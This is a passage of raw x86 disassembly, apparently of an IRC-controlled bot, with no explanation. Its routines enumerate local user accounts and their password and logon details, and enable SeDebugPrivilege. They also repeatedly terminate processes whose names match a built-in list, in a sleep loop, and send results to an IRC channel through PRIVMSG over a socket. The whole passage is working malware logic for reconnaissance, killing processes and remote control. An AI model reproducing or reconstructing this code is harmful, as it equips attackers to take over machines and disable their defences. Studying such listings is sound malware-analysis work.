[ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4196D6 add esp, 14h jmp short loc_4195E9 ; --------------------------------------------------------------------------- loc_4195C7: ; CODE XREF: sub_419590+1Dj push ebx push edi call sub_4196B5 pop ecx pop ecx jmp short loc_4195E9 ; --------------------------------------------------------------------------- loc_4195D2: ; CODE XREF: sub_419590+1Aj cmp [ebp+arg_8], edi jz short loc_4195E6 push [ebp+arg_8] push ebx push edi call sub_41965B add esp, 0Ch jmp short loc_4195E9 ; --------------------------------------------------------------------------- loc_4195E6: ; CODE XREF: sub_419590+45j push 57h pop eax loc_4195E9: ; CODE XREF: sub_419590+35j ; sub_419590+40j ... cmp eax, edi jnz short loc_41960D loc_4195ED: ; CODE XREF: sub_419590+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DDBB0 push off_43B67C[eax*4] push offset unk_43BE38 push esi call sub_41C056 add esp, 10h jmp short loc_419654 ; --------------------------------------------------------------------------- loc_41960D: ; CODE XREF: sub_419590+5Bj push eax call sub_419C1A push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DDBB0 push off_43B678[eax*4] push offset unk_43BE08 push esi call sub_41C056 add esp, 18h jmp short loc_419654 ; --------------------------------------------------------------------------- loc_419634: ; CODE XREF: sub_419590+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DDBB0 lea eax, [eax+eax*2] push off_43B678[eax*4] push offset unk_43BDE0 push esi call sub_41C056 add esp, 0Ch loc_419654: ; CODE XREF: sub_419590+7Bj ; sub_419590+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_419590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41965B proc near ; CODE XREF: sub_419590+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_41940B push [ebp+arg_4] mov edi, eax call sub_41940B push [ebp+arg_8] mov [ebp+var_24], eax call sub_41940B add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CDB3C pop edi leave retn sub_41965B endp ; =============== S U B R O U T I N E ======================================= sub_4196B5 proc near ; CODE XREF: sub_419590+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41940B push [esp+8+arg_4] mov esi, eax call sub_41940B pop ecx pop ecx push eax push esi call dword_4CDB2C pop esi retn sub_4196B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196D6 proc near ; CODE XREF: sub_419590+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_41940B push [ebp+arg_4] mov esi, eax call sub_41940B pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CDCBC test eax, eax mov [ebp+arg_0], eax jnz loc_419A63 mov eax, [ebp+var_4] test eax, eax jz loc_419A9E push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C056 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_4197EF dec eax jz short loc_4197E8 dec eax jz short loc_4197E1 mov eax, offset aUnknown ; "Unknown" jmp short loc_4197F4 ; --------------------------------------------------------------------------- loc_4197E1: ; CODE XREF: sub_4196D6+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4197F4 ; --------------------------------------------------------------------------- loc_4197E8: ; CODE XREF: sub_4196D6+FFj mov eax, offset aUser_2 ; "User" jmp short loc_4197F4 ; --------------------------------------------------------------------------- loc_4197EF: ; CODE XREF: sub_4196D6+FCj mov eax, offset aGuest ; "Guest" loc_4197F4: ; CODE XREF: sub_4196D6+109j ; sub_4196D6+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C056 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409982 add esp, 20h pop edi pop ebx jmp short loc_419A8F ; --------------------------------------------------------------------------- loc_419A63: ; CODE XREF: sub_4196D6+35j push eax lea eax, [ebp+var_204] push offset unk_43BE58 push eax call sub_41C056 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409982 add esp, 20h loc_419A8F: ; CODE XREF: sub_4196D6+38Bj cmp [ebp+var_4], 0 jz short loc_419A9E push [ebp+var_4] call dword_4CDCF4 loc_419A9E: ; CODE XREF: sub_4196D6+40j ; sub_4196D6+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4196D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AA4 proc near ; CODE XREF: sub_401B66+4644p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_41940B push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 18h loc_419AE3: ; CODE XREF: sub_419AA4+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CDBC4 cmp eax, esi mov [ebp+var_C], eax jz short loc_419B44 cmp eax, 0EAh jz short loc_419B44 push eax push eax call sub_419C1A pop ecx push eax lea eax, [ebp+var_218] push offset unk_43C048 push eax call sub_41C056 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 24h jmp short loc_419BB5 ; --------------------------------------------------------------------------- loc_419B44: ; CODE XREF: sub_419AA4+62j ; sub_419AA4+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_419BC8 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419BB5 loc_419B52: ; CODE XREF: sub_419AA4+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_419B91 push dword ptr [edi] push offset aS_6 ; " %S" push eax call sub_41C056 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419B52 jmp short loc_419BB5 ; --------------------------------------------------------------------------- loc_419B91: ; CODE XREF: sub_419AA4+B6j push offset unk_43C014 push eax call sub_41C056 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 1Ch loc_419BB5: ; CODE XREF: sub_419AA4+9Ej ; sub_419AA4+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_419BC8 push edi call dword_4CDCF4 xor edi, edi mov [ebp+var_4], edi loc_419BC8: ; CODE XREF: sub_419AA4+A5j ; sub_419AA4+116j cmp [ebp+var_C], 0EAh jz loc_419AE3 cmp edi, esi jz short loc_419BE0 push edi call dword_4CDCF4 loc_419BE0: ; CODE XREF: sub_419AA4+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C056 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_419AA4 endp ; =============== S U B R O U T I N E ======================================= sub_419C1A proc near ; CODE XREF: sub_41927A+41p ; sub_41946F+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419CCC jz loc_419CC5 cmp eax, 7Bh ja short loc_419C91 jz short loc_419C87 cmp eax, 5 jz short loc_419C7D cmp eax, 8 jz short loc_419C73 cmp eax, 32h jz short loc_419C69 cmp eax, 35h jz short loc_419C5F cmp eax, 57h jnz loc_419D1B push offset aInvalidParamet ; "Invalid parameter." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419C5F: ; CODE XREF: sub_419C1A+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419C69: ; CODE XREF: sub_419C1A+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419C73: ; CODE XREF: sub_419C1A+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419C7D: ; CODE XREF: sub_419C1A+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419C87: ; CODE XREF: sub_419C1A+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419C91: ; CODE XREF: sub_419C1A+1Aj sub eax, 7Ch jz short loc_419CBE sub eax, 7C8h jz short loc_419CB7 dec eax jz short loc_419CAD dec eax jnz short loc_419D1B push offset aDuplicateShare ; "Duplicate share name." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419CAD: ; CODE XREF: sub_419C1A+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419D3C ; --------------------------------------------------------------------------- loc_419CB7: ; CODE XREF: sub_419C1A+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419CBE: ; CODE XREF: sub_419C1A+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419CC5: ; CODE XREF: sub_419C1A+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419CCC: ; CODE XREF: sub_419C1A+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419D05 jz short loc_419CFE sub eax, 8ADh jz short loc_419D30 dec eax dec eax jz short loc_419CF7 dec eax jz short loc_419CF0 dec eax dec eax jnz short loc_419D1B push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419CF0: ; CODE XREF: sub_419C1A+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419CF7: ; CODE XREF: sub_419C1A+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419CFE: ; CODE XREF: sub_419C1A+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419D05: ; CODE XREF: sub_419C1A+B9j sub eax, 8CAh jz short loc_419D37 sub eax, 17h jz short loc_419D30 sub eax, 25h jz short loc_419D29 sub eax, 29h jz short loc_419D22 loc_419D1B: ; CODE XREF: sub_419C1A+35j ; sub_419C1A+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419D22: ; CODE XREF: sub_419C1A+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419D29: ; CODE XREF: sub_419C1A+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419D30: ; CODE XREF: sub_419C1A+C2j ; sub_419C1A+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419D3C ; --------------------------------------------------------------------------- loc_419D37: ; CODE XREF: sub_419C1A+F0j push offset aNetworkConnect ; "Network connection not found." loc_419D3C: ; CODE XREF: sub_419C1A+40j ; sub_419C1A+4Aj ... push offset dword_4DD948 call sub_41C056 pop ecx mov eax, offset dword_4DD948 pop ecx retn sub_419C1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D4E proc near ; CODE XREF: sub_401B66+468Ap var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E034 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_4280C0 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E034 lea eax, [ebp+var_718] push eax call sub_41E017 add esp, 10h add eax, eax push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CDC74 test eax, eax jnz short loc_419DDE mov esi, offset dword_4DD740 push offset unk_43C384 push esi call sub_41C056 pop ecx pop ecx jmp short loc_419E07 ; --------------------------------------------------------------------------- loc_419DDE: ; CODE XREF: sub_419D4E+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_419C1A pop ecx mov esi, offset dword_4DD740 push eax push offset dword_43C358 push esi call sub_41C056 add esp, 14h loc_419E07: ; CODE XREF: sub_419D4E+8Ej mov eax, esi pop esi leave retn sub_419D4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E0C proc near ; CODE XREF: sub_417474+45p ; sub_417474+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4280FC ; GetCurrentProcess push eax call dword_4CDC48 ; OpenProcessToken test eax, eax jnz short loc_419E2B leave retn ; --------------------------------------------------------------------------- loc_419E2B: ; CODE XREF: sub_419E0C+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CDC20 ; LookupPrivilegeValueA test eax, eax jz short loc_419E69 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419E52 or [ebp+var_8], 2 jmp short loc_419E56 ; --------------------------------------------------------------------------- loc_419E52: ; CODE XREF: sub_419E0C+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419E56: ; CODE XREF: sub_419E0C+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CDCD0 ; AdjustTokenPrivileges mov esi, eax loc_419E69: ; CODE XREF: sub_419E0C+32j push [ebp+var_4] call dword_42806C ; CloseHandle mov eax, esi pop esi leave retn sub_419E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E77 proc near ; CODE XREF: sub_401B66+77F4p ; sub_41A09A+74p ... var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CDC84, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_41A066 cmp dword_4CDC68, ebx jz loc_41A066 cmp dword_4CDB78, ebx jz loc_41A066 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419E0C pop ecx pop ecx push ebx push 0Fh call dword_4CDC84 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_41A059 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push edi call dword_4CDC68 ; Process32First mov esi, dword_42806C test eax, eax jz loc_41A054 lea eax, [ebp+var_12C] push eax push edi call dword_4CDB78 ; Process32Next test eax, eax jz loc_41A054 mov ebx, dword_428084 loc_419F36: ; CODE XREF: sub_419E77+1D5j xor edi, edi cmp [ebp+arg_10], edi jz short loc_419F93 loc_419F3D: ; CODE XREF: sub_419E77+E3j push off_43C3B8[edi] lea eax, [ebp+var_108] push eax call dword_428188 ; lstrcmpiA test eax, eax jz short loc_419F61 add edi, 4 cmp edi, 60h jb short loc_419F3D jmp loc_41A03A ; --------------------------------------------------------------------------- loc_419F61: ; CODE XREF: sub_419E77+DBj push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_41A03A push 0 push edi call dword_4280F4 ; TerminateProcess test eax, eax jnz loc_41A03A loc_419F8B: ; CODE XREF: sub_419E77+1A9j push edi call esi ; CloseHandle jmp loc_41A03A ; --------------------------------------------------------------------------- loc_419F93: ; CODE XREF: sub_419E77+C4j cmp [ebp+arg_C], edi jnz loc_41A025 cmp [ebp+arg_4], edi jz loc_41A03A push [ebp+var_124] push 8 call dword_4CDC84 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov edi, eax mov [ebp+var_350], 224h jz short loc_419FE5 lea eax, [ebp+var_350] push eax push edi call dword_4CDB24 ; Module32First push [ebp+var_124] test eax, eax jz short loc_419FEB lea eax, [ebp+var_230] jmp short loc_419FF1 ; --------------------------------------------------------------------------- loc_419FE5: ; CODE XREF: sub_419E77+14Cj push [ebp+var_124] loc_419FEB: ; CODE XREF: sub_419E77+164j lea eax, [ebp+var_108] loc_419FF1: ; CODE XREF: sub_419E77+16Cj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_41C056 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h jmp loc_419F8B ; --------------------------------------------------------------------------- loc_41A025: ; CODE XREF: sub_419E77+11Fj push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_41A06D loc_41A03A: ; CODE XREF: sub_419E77+E5j ; sub_419E77+FDj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_4CDB78 ; Process32Next test eax, eax jnz loc_419F36 xor ebx, ebx loc_41A054: ; CODE XREF: sub_419E77+9Dj ; sub_419E77+B3j push [ebp+var_4] call esi ; CloseHandle loc_41A059: ; CODE XREF: sub_419E77+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419E0C pop ecx pop ecx loc_41A066: ; CODE XREF: sub_419E77+3Aj ; sub_419E77+46j ... xor eax, eax loc_41A068: ; CODE XREF: sub_419E77+221j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A06D: ; CODE XREF: sub_419E77+1C1j push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_4280F4 ; TerminateProcess test eax, eax jnz short loc_41A095 push edi call esi ; CloseHandle jmp short loc_41A066 ; --------------------------------------------------------------------------- loc_41A095: ; CODE XREF: sub_419E77+217j xor eax, eax inc eax jmp short loc_41A068 sub_419E77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A09A proc near ; DATA XREF: sub_401B66+263Do var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43C5B8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C056 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41A0F9 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409982 add esp, 14h loc_41A0F9: ; CODE XREF: sub_41A09A+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419E77 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_41A127 push offset unk_43C594 jmp short loc_41A12C ; --------------------------------------------------------------------------- loc_41A127: ; CODE XREF: sub_41A09A+84j push offset unk_43C570 loc_41A12C: ; CODE XREF: sub_41A09A+8Bj push eax call sub_41C056 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_41A159 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409982 add esp, 14h loc_41A159: ; CODE XREF: sub_41A09A+9Dj lea eax, [ebp+var_298] push eax call sub_4157A5 push [ebp+var_14] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_41A09A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A178 proc near ; CODE XREF: sub_401B66+7792p ; sub_40B0C8+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_428084 ; OpenProcess mov esi, eax test esi, esi jz short loc_41A1AA push 0 push esi call dword_4280F4 ; TerminateProcess test eax, eax jnz short loc_41A1AA push esi xor edi, edi call dword_42806C ; CloseHandle loc_41A1AA: ; CODE XREF: sub_41A178+1Aj ; sub_41A178+27j mov eax, edi pop edi pop esi retn sub_41A178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41A1AF proc near ; DATA XREF: sub_401252+3BBo push esi xor esi, esi loc_41A1B2: ; CODE XREF: sub_41A1AF+1Ej push 1 push esi push esi push esi push esi push esi call sub_419E77 add esp, 18h push dword_43C3B0 call dword_428064 ; Sleep jmp short loc_41A1B2 sub_41A1AF endp ; =============== S U B R O U T I N E ======================================= sub_41A1CF proc near ; CODE XREF: sub_41A1FF+2Ap ; sub_41A237+7Ep ... mov eax, dword_4DDFB4 push esi mov esi, dword_42806C cmp eax, 0FFFFFFFFh jz short loc_41A1E3 push eax call esi ; CloseHandle loc_41A1E3: ; CODE XREF: sub_41A1CF+Fj mov eax, dword_4DDFBC cmp eax, 0FFFFFFFFh jz short loc_41A1F0 push eax call esi ; CloseHandle loc_41A1F0: ; CODE XREF: sub_41A1CF+1Cj mov eax, dword_4DDFB0 cmp eax, 0FFFFFFFFh jz short loc_41A1FD push eax call esi ; CloseHandle loc_41A1FD: ; CODE XREF: sub_41A1CF+29j pop esi retn sub_41A1CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1FF proc near ; CODE XREF: sub_401B66+74CCp ; sub_4161D7+14Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B7B0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DDFB8 call dword_4280E0 ; WriteFile test eax, eax jnz short loc_41A232 call sub_41A1CF xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41A232: ; CODE XREF: sub_41A1FF+28j xor eax, eax inc eax leave retn sub_41A1FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A237 proc near ; CODE XREF: sub_41A2BE+D3p ; sub_41A2BE+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43FE14 push [ebp+arg_4] call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_41A27A push 7D0h call dword_428064 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C056 add esp, 10h jmp short loc_41A291 ; --------------------------------------------------------------------------- loc_41A27A: ; CODE XREF: sub_41A237+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_41C056 add esp, 0Ch loc_41A291: ; CODE XREF: sub_41A237+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CDCB4 ; send test eax, eax jg short loc_41A2BA call sub_41A1CF loc_41A2BA: ; CODE XREF: sub_41A237+7Cj xor eax, eax leave retn sub_41A237 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2BE proc near ; DATA XREF: sub_41A413+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 